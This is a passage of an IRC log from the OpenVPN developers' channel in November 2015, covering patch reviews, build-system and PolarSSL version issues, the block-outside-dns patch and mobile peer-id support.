other interested parties could join 06:35 <@cron2> yep (bring iservice into mainline)... I think syzzer should join, as he (got) volunteered to rework the patch :) 06:35 <@d12fk> what do you use for s.th. like that? 06:35 <@d12fk> ^ virtual get together 06:36 <@cron2> I don't do that very often... but have used webex and google hangouts as a user, never organized anything yet though 06:37 <@d12fk> should work on linux 06:37 <@cron2> and skype, but skype has gone weird so I didn't use it for over a year... 06:37 <@d12fk> yes that was the default a while ago 06:48 <@syzzer> ah, yes, the iservice 06:48 <@syzzer> I still have a patch to make it build with 'make' 06:48 <@syzzer> but never managed to actually get it to run 06:49 <@syzzer> I could send the patch to the list anyway... 06:49 <@syzzer> really not sure when I will find time to revive my windows build system 06:52 <@cron2> syzzer: do you think you could find time for a day focused on iservice in december? 06:52 <@cron2> this might be what it needs :) 06:53 <@cron2> (windows build system on ubuntu 14.04 with mattock's "all in one go!" script works nicely and is done in 15 minutes, btw) 06:53 <@d12fk> syzzer: strange i build it with make... 06:54 <@cron2> d12fk: you build with cygwin, syzzer with mingw... this brings different complications 06:54 <@d12fk> does it? 06:55 <@cron2> cross-compilation environment... 06:56 <@cron2> but with mattock's script this is usally quite easy in the end 07:13 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 08:05 <@syzzer> it was something with incorrect paths iirc 08:05 <@syzzer> I could probably find a day in december to dedicate to iservice 08:18 <@cron2> cool 09:22 < valdikss> terminate called after throwing an instance of 'Exception' 09:24 < valdikss> running with gdb now 09:34 <@plaisthos> for radiusplugin would it make sense to put it under github/openvpn and allow valdikss to have commit rights there, put add a readme there stating that this 3rd but kept under openvpn for better managibility? 09:40 <@cron2> +1 10:17 < valdikss> plaisthos: the code in radiusplugin is so bad that it would be a shame for me to have it under the name of openvpn repository 10:42 <@plaisthos> valdikss: more like an easy to find stuff 10:42 <@plaisthos> but a warning in the README.md 10:43 <@plaisthos> and people then at least see "this is the lastest and mainained version" 10:44 < valdikss> plaisthos: if I manage to bisect the bad patch that causes crashes (I suppose that's one of the patches from Samuel), I'll publish it 12:36 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 240 seconds] 14:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 14:17 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 246 seconds] 14:32 <@cron2> seems we need a round of code cleanup on that one... 14:40 < valdikss> Another drawback is that the plugin doesn't drop it's privileges 14:40 < valdikss> I need to fix this too 14:44 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:44 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 14:44 -!- dazo_afk is now known as dazo 14:59 < valdikss> Also feel free to modify block-outside-dns patch as you want, if you want. I'm very busy this and next week and AFAIR you'd want OpenVPN 2.3.9 to be released this weekend? 15:34 < valdikss> Latest patch is here: https://github.com/ValdikSS/openvpn-with-patches/commits/block-external-dns-squashed (release/2.3), https://github.com/ValdikSS/openvpn-with-patches/commits/block-external-dns-master-squashed (master) 15:34 <@vpnHelper> Title: Commits · ValdikSS/openvpn-with-patches · GitHub (at github.com) 15:35 < valdikss> I still need help with the build system for 2.3. mattock? 15:37 < valdikss> And another open question is should block-outside-dns be silently ignored on other platforms 15:59 -!- eliasp is now known as eliasp_______ 16:01 -!- eliasp_______ is now known as eliasp 16:25 < valdikss> Sent it to the mail list 19:00 < valdikss> https://gist.github.com/ValdikSS/a34277a1c5d2e7c96587 well, that's what we have. 19:00 <@vpnHelper> Title: gist:a34277a1c5d2e7c96587 · GitHub (at gist.github.com) --- Day changed Wed Nov 18 2015 00:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:57 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:03 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 03:03 -!- mode/#openvpn-devel [+o pekster] by ChanServ 03:48 < mator> can it be written Windows Filtering Platform (WFP) on first usage of WFP in manual page ? 03:48 < mator> (considering block-external-dns patch manual page changes) 03:48 < mator> valdikss ^^ 03:49 < mator> thanks 03:51 < valdikss> mator: done, see non-squashed repos 03:52 < mator> what is non-squashed repo ? 03:52 < mator> sorry 03:53 < valdikss> mator: https://github.com/ValdikSS/openvpn-with-patches/commit/d14c6d2e536c464a0011fda23781a67dbb7b1e69 03:53 <@vpnHelper> Title: Update man · ValdikSS/openvpn-with-patches@d14c6d2 · GitHub (at github.com) 03:55 < mator> thanks 05:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 05:46 -!- dazo is now known as dazo_afk 05:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:58 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:14 -!- dazo_afk is now known as dazo 11:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:49 -!- dazo is now known as dazo_afk 14:57 < valdikss> well-well, It's been almost 24 hours since I compiled radiusplugin with minimal patchset (only ipv6 accounting fix, deferred accounting and interim-interval), so I can assume the problem is indeed in one of Samuel patches. 20:29 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 250 seconds] 20:29 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has quit [Ping timeout: 250 seconds] 20:29 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 20:30 -!- reators [~holger@2001:1a80:2000:2:c1da:1b9a:2179:251b] has joined #openvpn-devel 23:11 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 23:36 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Thu Nov 19 2015 02:45 -!- dazo_afk is now known as dazo 04:09 <@cron2> syzzer, plaisthos: do you know LibFuzzer? no idea how to really make good use out of it, but it *really* sounds nice ("build a test driver for a module, and libfuzzer will auto-fuzz 'interesting code paths'") 04:11 <@cron2> @ripe meeting right now, listening to https://ripe71.ripe.net/presentations/164-ripe71-oss-vcelak-secure-input-02.pdf 05:06 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 05:06 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: sigterm] 06:12 <@syzzer> cron2: don't know this specific one, but looks very interesting indeed! 06:45 <@cron2> and as a side note I was speaking to the OpenBSD folks, and they have potentially useful ideas how to handle incoming money... (-> monday) 06:46 <@syzzer> sounds like a very useful meeting over there 06:46 <@cron2> it is (http://ripe71.ripe.net/) - most of it is about "Internet and service providers" stuff, but there is this Open Source working group... 06:46 <@vpnHelper> Title: RIPE 71 | Bucharest, 16 20 November 2015 (at ripe71.ripe.net) 06:47 <@cron2> and large amounts of coffee and beer involved, of course, because (just like fosdem) you really have to know the people you're only working electronically with otherwise 08:54 <@d12fk> what's needed for ovpn to do tls 1.2? it is just a matter of what x.509 certs you use or there more to it? 09:11 <@syzzer> d12fk: depends on the version 09:11 <@syzzer> (of openvpn) 09:13 <@syzzer> 2.3.7 will automatically try to negotiate TLS 1.2 09:13 <@syzzer> 2.3.7+ 09:14 <@syzzer> and in 2.3.3-2.3.6 you can set 'tls-version-min 1.0' to enable negotation 09:15 <@syzzer> if either peer does not negotiate, you'll end up with 1.0 09:16 -!- SasRSS [~SasVE@D57DD29A.static.ziggozakelijk.nl] has joined #openvpn-devel 09:31 < SasRSS> Hi everyone, I have been doing some looking into VPN on a mobile client, which would be switching between connections (4G/Wi-Fi/etc). As far as I've been able to find online this would cause OpenVPN to lose the connection, and then re-establish it, which takes considerable amount of time.I did find a paper where they implemented what they call "reconfiguration" instead of "reinstantiation": 09:31 < SasRSS> http://www.researchgate.net/publication/224151316_Fast_VPN_mobility_across_Wi-Fi_hotspots. Though one of the authors told me by e-mail it would be easy to implement, I suppose doing so in the main OpenVPN release would be more difficult due to security testing etc.. I am just wondering if any effort has been or is being made to improve VPN experience with verticcal handovers (e.g. Wi-Fi 09:31 < SasRSS> to 4G)? Soon I will hopefully be able to start doing some tests myself but I am not really a developer :( Anyway sorry for the wall of text and thanks for any reply :) 09:35 <@syzzer> SasRSS: openvpn already has a mechanism in place for that 09:35 <@syzzer> *but* the server side is not available until OpenVPN 2.4 09:35 <@d12fk> syzzer: thanks 09:36 <@syzzer> SasRSS: so, to get this to work, just compile your openvpn from the master branch and run that on your server 09:37 <@syzzer> oh, and use the 'OpenVPN for Android' app. This is not (yet?) supported by the commercial OpenVPN Connect clients. 09:41 < SasRSS> syzzer: thanks for the response :) Will look into it. 10:07 < SasRSS> Ah found it I think: "So, using a 2.3.6 or newer client and git master server, you can have the benefits of "tls-float" without the associated risks - the client is identified by its peer-id, so if the client address changes but peer-id + HMAC verify, the client session will float to the new client IP address." (https://community.openvpn.net/openvpn/ticket/49) 10:07 <@vpnHelper> Title: #49 (--float does not work with --server) – OpenVPN Community (at community.openvpn.net) 10:23 -!- SasRSS [~SasVE@D57DD29A.static.ziggozakelijk.nl] has quit [] 10:38 <@cron2> syzzer: you're sure James' client has no peer-info? *still*? I thought I've seen it on iOS, but then, this might have been a beta... 10:39 <@syzzer> cron2: I recall him stating something like that during the meeting in Delft 10:39 <@syzzer> 'we just reconnect really fast' 10:39 <@cron2> right, but that was something different, I think 10:40 <@syzzer> ah, then I probably misunderstood.. 10:40 <@cron2> so he does peer-id, but when changing from 3G to wifi and back, he doesn't try to keep the ID but just reconnects 10:40 <@cron2> totally sidestepping the DNS/NAT64 issue... 10:40 <@cron2> but it would still bring benefits with stupid NATs on either side that time out quickly and break "non peer-id" openvpn 10:41 <@cron2> let me test... 10:41 <@syzzer> yes, indeed 10:41 <@cron2> right... reinstalled my n7, no profiles... grr 10:42 <@syzzer> could also be that it is available on android, but not iOS, because of the slow apple review process 10:43 <@cron2> can't test iOS right now (still in bucharest and idevice is at home) 10:43 <@cron2> but there have been releases since Munich hackathon... 10:44 <@cron2> ok, at least OpenVPN Connect on Android does peer-id ("I just got push-reply peer-id 0", no other client there) 10:44 <@cron2> good :) 10:45 <@syzzer> indeed. too bad SasRSS didn't hang around for a bit longer... 10:46 <@cron2> impatient youth... 10:46 <@dazo> [OT] "Credit to my cat for finding this ..." https://bugzilla.gnome.org/show_bug.cgi?id=758032#c0 10:46 <@vpnHelper> Title: Bug 758032 Crash when holding Escape in lock screen (at bugzilla.gnome.org) 10:46 <@cron2> oh, btw, in case one of you is using Tunnelblick: Jonathan does include git master snapshots now (since today, in the beta builds) 11:01 -!- s7r_ is now known as s7r 11:27 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 12:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:06 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] --- Log closed Thu Nov 19 17:16:03 2015 --- Log opened Fri Nov 20 08:06:22 2015 08:06 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 08:06 -!- Irssi: #openvpn-devel: Total of 27 nicks [10 ops, 0 halfops, 0 voices, 17 normal] 08:06 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:06 -!- Irssi: Join to #openvpn-devel was synced in 6 secs 08:07 -!- woodrow [sid13914@gateway/web/irccloud.com/x-szhghedcpzzdbxjz] has quit [Ping timeout: 240 seconds] 08:07 -!- woodrow [sid13914@gateway/web/irccloud.com/x-mbstczxhufkbchlx] has joined #openvpn-devel 09:14 <@cron2> mattock1: yep 09:14 <@cron2> dazo: on my list, but I was away for a full week and the amount of open patches we have right now is fairly big... 09:15 <@cron2> syzzer: speaking about :) could you poke andj about my mails to him & the list? 09:29 <@d12fk> cron2: never mind, patch for the issue is incoming 09:37 <@cron2> d12fk: that is even better :) (was in plane flying home) - master or 2.3? 09:38 <@d12fk> probably applies to both and i'm fine with both 09:50 <@syzzer> cron2: will do 10:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 12:19 <@cron2> d12fk: so the issue you mentioned was "these env variables are missing"? 12:19 <@d12fk> cron2: yes 12:19 <@cron2> ok, fairly easily solved :) (lazy programmer and/or not aware of use cases) 12:33 -!- dazo is now known as dazo_afk 20:24 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Write error: Broken pipe] 20:24 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Remote host closed the connection] 20:24 -!- chron0 [~chrono@unaffiliated/chron0] has quit [Remote host closed the connection] 20:24 -!- pekster_ [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 20:24 -!- mode/#openvpn-devel [+o pekster_] by ChanServ --- Day changed Sat Nov 21 2015 01:58 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 240 seconds] 01:59 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 02:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:29 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:35 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:35 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 04:41 <@cron2_> syzzer: I think I reviewed 444a93ea 5 times or so, to ensure I understand what got moved around... :) 04:43 <@syzzer> cron2_: yes, I did quite a bit of self-review and testing too... 04:44 <@syzzer> this just shows we really need better test coverage 04:44 <@cron2_> right 06:01 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 06:14 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 06:26 <@cron2_> what's this with *_free_ctx() moving to *_free() and no error check anymore? 08:03 <@vpnHelper> RSS Update - gitrepo: Adjust server-ipv6 documentation <https://github.com/OpenVPN/openvpn/commit/e60849a708c7b70f0d7d2363489863e4c5c9c893> || polarssl: also allocate PKCS#11 certificate object on demand <https://github.com/OpenVPN/openvpn/commit/9571010a14533a0f8abc6b25834fe3413755f2e8> || Support for username-only auth file. <https://github.com/OpenVPN/openvpn/commit/6e9373c84639382c16d9eb8f1f78f60079bb89df> 09:33 <@syzzer> cron2_: those simply can not fail anymore 09:35 <@syzzer> they switched to 'anything that free()'s returns void' at some point, but left the old versions around for a little while 11:30 <@cron2_> well, can not fail is always welcome :) 11:30 <@cron2_> we should only have "can not fail" functions! 11:50 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 240 seconds] 11:51 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 240 seconds] 11:51 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:51 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:56 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 12:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 13:27 < valdikss> Guys, please check the latest (v4) block-outside-dns patch. I think it's good and should be applied to master and to 2.3 if somebody could help me to fix build system. 13:37 <@cron2_> uh, it is whitespace-mangled 13:37 <@cron2_> could you please re-send using git-send-email? 14:11 <@cron2_> why am I finding me refusing already-ACKed patches ever so often...? 15:24 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 15:28 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 16:19 < valdikss> cron2_: please use this https://github.com/ValdikSS/openvpn-with-patches/commit/c3acf0031fa9b6debe834049d397d6595cead559.patch 16:19 < valdikss> cron2_: I still can't figure out why thunderbird corrupts my patches. I've disabled enigmail, but still. 21:44 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 264 seconds] 21:45 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 21:47 -!- riddle [~decadance@us.yunix.net] has joined #openvpn-devel 21:47 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:47 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:50 -!- Netsplit *.net <-> *.split quits: @syzzer, reators 21:51 -!- Netsplit *.net <-> *.split quits: @d12fk, floppym, @andj 21:58 -!- reators [~holger@2001:1a80:2000:2:e4d6:beb1:9d3f:a249] has joined #openvpn-devel 22:01 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 22:01 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 22:01 -!- d12fk [~heiko@85.25.119.185] has joined #openvpn-devel 22:01 -!- ServerMode/#openvpn-devel [+oo andj d12fk] by verne.freenode.net 22:14 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 22:17 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 22:17 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 22:17 -!- dazo_afk is now known as dazo 22:43 -!- syzzer [~syzzer@2001:610:697::12] has joined #openvpn-devel 22:44 -!- syzzer [~syzzer@2001:610:697::12] has quit [Changing host] 22:44 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:44 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 23:21 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:21 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Sun Nov 22 2015 08:59 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 09:26 <@vpnHelper> RSS Update - gitrepo: polarssl: don't use deprecated functions anymore <https://github.com/OpenVPN/openvpn/commit/67a67e39895d9c2c7af08e7fb38ba341e6be8fb6> 09:41 <@syzzer> \o/ 09:54 <@cron2_> weeeelll... :) 09:55 <@cron2_> you managed to fail the debian buildbots :-) 09:55 <@cron2_> undefined reference to `md_free' 09:55 <@cron2_> undefined reference to `cipher_free' 09:55 * cron2_ wonders if we should bump the polarssl version requirements accordingly (so configure will tell) 09:56 <@cron2_> lol, and the openbsd buildslave, but that one seems to be just slower... 09:59 <@cron2_> 1.3.5 there... and we only check for 09:59 <@cron2_> [AC_MSG_ERROR([PolarSSL 1.3.x required and must be 1.3.3 or later])] 10:29 <@syzzer> hmpf, could have expected that, of course... 10:29 <@syzzer> will look into in 10:29 <@cron2_> my track record for "merging changes" these days is not very good either... everything I get to touch turns into "buildbot explodes", "client segfaults" or "cron2 does not like" :) 10:30 <@syzzer> I'm looking into mbed TLS 2.x now 10:31 <@syzzer> needs quite a bit of changes... 10:32 <@cron2_> we really need to do faster releases... so the whole "move git master to 1.3" would not have been overcome by events :) 10:32 <@vpnHelper> RSS Update - gitrepo: Handle ctrl-C and ctrl-break events on Windows <https://github.com/OpenVPN/openvpn/commit/87f1be66e88303c51520925f169dc5a8aa58a7f2> 10:32 <@syzzer> cron2_: agreed 10:37 <@cron2_> so... updated all my buildslaves to 1.3.15, and pushed another change. Let's see :) 10:52 <@syzzer> *should* work, 1.3.8 is the magic number for the init/free rework 10:56 <@cron2_> well, 1.3.15 is the latest 1.3 release, so it better should :) 10:57 <@cron2_> and indeed it does, except that some of the systems had a wildly symlinked 1.2/1.3 setup and I forgot about that and installed to the wrong place 13:16 <@cron2_> dazo: your patches are on my radar, but the amount of stuff coming in right now is fairly amazing :-) 13:18 <@cron2_> but I'd appreciate an explanation what the bug in #521 actually is and why the patch fixes it :-) - this looks so simple... 13:19 <@vpnHelper> RSS Update - gitrepo: Notify clients about server's exit/restart <https://github.com/OpenVPN/openvpn/commit/8dd9ff8ca062de34bcd16e34847d106ee9b992ff> 13:27 < lev__> yay, thanks! 15:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 20:09 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 20:31 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Mon Nov 23 2015 01:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:01 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:02 -!- d12fk [~heiko@85.25.119.185] has quit [Ping timeout: 255 seconds] 03:15 * cron2_ will be here if we do a meeting today (and has put a few things on the agenda page already) 03:17 <@mattock1> cron2: let's do it then 03:26 <@syzzer> ok, I'll be there too 03:26 <@mattock1> great! 03:30 <@mattock1> ok, here we go: https://community.openvpn.net/openvpn/wiki/Topics-2015-11-23 03:30 <@vpnHelper> Title: Topics-2015-11-23 – OpenVPN Community (at community.openvpn.net) 03:31 <@mattock1> I can't recall if any of the Trac tickets were covered last time 03:32 <@mattock1> yeah, we did, but there was no conclusion about any 03:32 <@syzzer> mattock1: uhm, you removed a lot of cron2_'s agenda points? 03:32 <@mattock1> hmm... 03:33 <@mattock1> the agenda was not empty? 03:33 <@syzzer> nope 03:33 <@mattock1> I copy and pasted stuff over :P 03:33 <@mattock1> fixing 03:34 <@mattock1> ok, done 03:34 <@mattock1> is the topic list basically ok now? 03:36 <@cron2_> mattock1: good to get started, you might want to add the #521 fix to Dazo's list of patches, and remove Lev's "notify client" (because that is done, merged yesterday) 03:36 <@cron2_> there's many more patches to review, tho... d12fk has two open patches... lev__ should send a client-only patch for "RESTART,N" :-) - valdikss' dns stuff... 03:36 <@vpnHelper> RSS Update - wishlistfeed: tls-enc: Forward Secrecy and quantum computing <http://forums.openvpn.net/topic20270.html> 03:38 * cron2_ sees syzzer's "require polarssl 1.3.8 as minimum" patch on that list, too :) 04:01 <@mattock1> updated the topic list 04:01 <@mattock1> I'll send in the announcement 04:01 <@mattock1> regarding moneyz 04:01 <@mattock1> I send email about it to james and francis and expect and answer today or tomorrow 04:06 <@mattock1> invitation sent 04:23 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 04:23 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:33 <@syzzer> cron2_: took me a while to convince git-send-email to communicate with the corp. email server again, but patch on the list :) 04:46 < lev__> I'll remove "support for disable peer-id" from topics, it got reviewed and I need to prettify it a bit 04:46 < lev__> not sure I'll have time today 04:47 < lev__> or let's lee 05:48 <@plaisthos> I added my two patches 05:48 <@plaisthos> but I can probably not make it today 05:48 <@plaisthos> so just skip them if I am not there 05:58 <@vpnHelper> RSS Update - gitrepo: polarssl: require >= 1.3.8 <https://github.com/OpenVPN/openvpn/commit/9d3b7cec5270b2aebf62e80ccaa564aab93fcb37> 06:00 <@syzzer> mattock1: did you hear anything about the tap-windows bug btw? 06:09 * cron2_ <- no 06:17 <@cron2_> mattock1: your buildslaves need love 06:17 <@cron2_> checking polarssl version... configure: error: PolarSSL 1.3.x required and must be 1.3.8 or later 06:17 * cron2_ grins, ducks and runs 10:56 <@mattock1> again 10:56 <@mattock1> syzzer: you mean the buffer overflow thingy? 11:45 * cron2_ thinks syzzer did not mention the details on purpose :) 12:03 <@mattock1> well, that page is public anyways 12:04 <@mattock1> I don't have any news from James or Mr. Divine 12:05 <@cron2_> hrmph 12:06 <@mattock1> I probably have to poke them again, or we may have to fix the issue ourselves (if it's trivial enough) 12:06 <@mattock1> cron2: my buildslaves show green again 12:07 <@cron2_> cool :) 12:52 -!- cron2_ is now known as cron2 13:19 <@cron2> syzzer: mmmh, this is actually changing behaviour in case of errors (*sep is not reset to '/') 13:19 <@cron2> I wondered why I bothered with "rc" there... 13:21 <@cron2> but that should not matter really in the error case... 13:24 <@syzzer> cron2: hmm, let me see... 13:25 <@cron2> oh, and you need to get rid of the free() before the assignment to options->ifconfig_ipv6_local now :-) 13:25 <@cron2> because the current code does "if this option is called twice, the second call free()s the memory allocated by the first one" - which is now in GC 13:26 <@cron2> the "rc" change is fine, but the other one is NAK :) 13:37 <@syzzer> oops, sorry. will fix! 14:12 <@vpnHelper> RSS Update - gitrepo: Fix info.af == AF_UNSPEC case for server with --mtu-disc <https://github.com/OpenVPN/openvpn/commit/ed5d0fe5097a26206a6a7d4463622461a0987655> 14:17 <@syzzer> cron2: this is actually interesting - i don't know very well how often 'add_option()' would be called multiple times for ifconfig-ipv6. 14:17 <@syzzer> using the gc might actually introduce a memory leak if the gc does not get cleaned up... 14:19 <@cron2> it would be a rare occasion (like, having ifconfig-ipv6 twice in the config)... I think for pushed options, it gets clean up between runs 14:22 <@syzzer> ok, so gc should be fine then 14:22 <@syzzer> makes it easier to trace the memory 14:55 -!- Hink [~Hink@146.115.152.96] has joined #openvpn-devel 15:07 <@cron2> this syzzer guy keeps sending patches... 15:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 15:52 -!- Hink [~Hink@146.115.152.96] has quit [Quit: Leaving] 18:16 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 255 seconds] 18:18 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 18:18 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Tue Nov 24 2015 00:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:57 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:43 <@cron2> so... dazo around? 02:48 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 240 seconds] 02:49 <@cron2> syzzer: could you have a look at 02:49 <@cron2> Subject: [Openvpn-devel] [PATCH] Fix FreeBSD-specific mishandling of gc arena 02:49 <@cron2> Date: Tue, 10 Nov 2015 22:17:03 +0100 02:49 <@cron2> please? (I'd send a gmane url, but gmane is non-responsive again) 02:50 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 02:58 <@syzzer> cron2: done 03:00 <@cron2> and indeed, I have *no* idea why this did not crash right away... 03:01 <@syzzer> and then just this morning, management tells us we are now colleagues of iSEC :') 03:01 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 240 seconds] 03:01 <@syzzer> https://www.fox-it.com/en/press-releases/acquisition-of-fox-it-by-ncc-group/ 03:01 <@vpnHelper> Title: Acquisition of Fox-IT by NCC Group - Fox-IT (EN) (at www.fox-it.com) 03:03 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:05 * cron2 seems to have heard NCC yesterday... 03:05 <@cron2> so is that good or bad? 03:08 <@cron2> *grumble* i can not work if gmane is non-responsive... 03:32 <@syzzer> cron2: not sure yet :p Looks alright, we will remain an independant company within the group. I guess we'll have to wait and see :) 03:58 <@mattock1> syzzer: soon you will have NSA executives telling you what to do :P 04:02 <@mattock1> or GCHQ rather 04:03 <@syzzer> mattock1: haha, don't think so. And I'll be gone pretty quickly if that happens :p 04:04 <@mattock1> "hey Steffan... could you lure in a small backdoor into OpenVPN?" :D 04:33 <@cron2> syzzer: my wife just ran into "MY VPN DOES NOT WORK! GO FIX IT!" due to client cert expired... *poke* 04:51 <@syzzer> cron2: right! that was the thing I should remember! 04:57 <@cron2> this is on auto-reminder, nicely enough, at least once a year ;-) 04:59 <@cron2> I.can.not.work.if.gmane.is.down *curse* *shake fist* 04:59 * cron2 goes hunt food instead 07:02 <@cron2> *grumble* 07:03 <@cron2> before we release 2.4, a round of de-warning is certainly needed... just spotted another unused variable 07:03 <@cron2> which actually is a memleak... close_tun() on freebsd does a gc = gc_new() but is neither using nor cleaning it up 07:04 <@cron2> (now, losing a few bytes on every tun close is not something I'm particularily worried about, but hey, "-Wall -Werror"... *selfslap*) 07:07 <@vpnHelper> RSS Update - gitrepo: Fix FreeBSD-specific mishandling of gc arena pointer in create_arbitrary_remote() <https://github.com/OpenVPN/openvpn/commit/b33e1355765bbf83f4c8b744c442c7d98df808fa> 07:12 <@cron2> error.h:357: warning: type qualifiers ignored on function return type 07:13 <@cron2> that one I do not understand, tbh... 07:13 <@cron2> (git master) 07:26 <@cron2> aw shit who wrote validate_peer_info_line()... there's break missing in all the case statements - which does not actually do harm here, but *scratch eyes* 07:48 <@syzzer> cron2: returning a 'const unsigned int' does not make sense 07:48 <@syzzer> since you'll copy the return value anyway 07:48 <@cron2> well, dunno, "it's an int but do not modify it!! really, we mean it!" 07:48 <@cron2> so just ditch the const? 07:48 <@syzzer> yep 07:48 <@cron2> your turn :) 07:48 <@syzzer> return is copy-by-value 07:48 <@syzzer> pass-by-value 07:49 <@cron2> yep. But still. DO NOT DARE TO CHANGE THIS!! :-) 07:52 <@syzzer> (it is my own code ofc :') ) 07:52 <@cron2> hahaha :) - you also need to turn on -Wall, it seems 08:00 <@syzzer> I do use --enable-strict when compiling, but I haven't seen this before 08:00 <@syzzer> new compiler version perhaps? 08:05 <@cron2> more like "old compiler"... 08:05 <@cron2> gcc version 4.2.1 20070831 patched [FreeBSD] 08:05 <@syzzer> hm 08:05 <@cron2> standard gcc on FreeBSD 9.x 08:06 <@syzzer> patch on the list :) 08:07 <@cron2> that one is actually easy to find in the gmane archive as I'm close anyway with the other patch (so, just add "+2" :) ) - but this is truly annoying today... 08:07 <@cron2> waiting since ~10 minutes to confirm that 10577 is indeed the article of your v2 patch 08:08 <@cron2> *sigh* it is not, 10576 then... maybe 08:22 <@cron2> ... 10573, maybe? ... waiting... 08:22 <@cron2> really, too much traffic there... 08:32 <@plaisthos> syzzer: confused by all the constnes? :) 08:33 <@plaisthos> const foo(const int bar) const; :) 08:33 <@plaisthos> *ducks* 08:34 <@syzzer> plaisthos: yes :( 08:34 <@syzzer> at least I was back then :p 08:35 <@plaisthos> But I think the last of my const is actually c++ only 08:37 <@syzzer> yes it is 08:37 <@syzzer> that is the 'do not overload this function'-const, right? 08:37 <@plaisthos> no that is the "this function can be called on a const object" const iirc 08:38 <@plaisthos> syzzer: you are thinking of final 08:38 <@syzzer> right. long time no c++ for me (yay!) 08:38 <@plaisthos> syzzer: it is c++11 :) 08:39 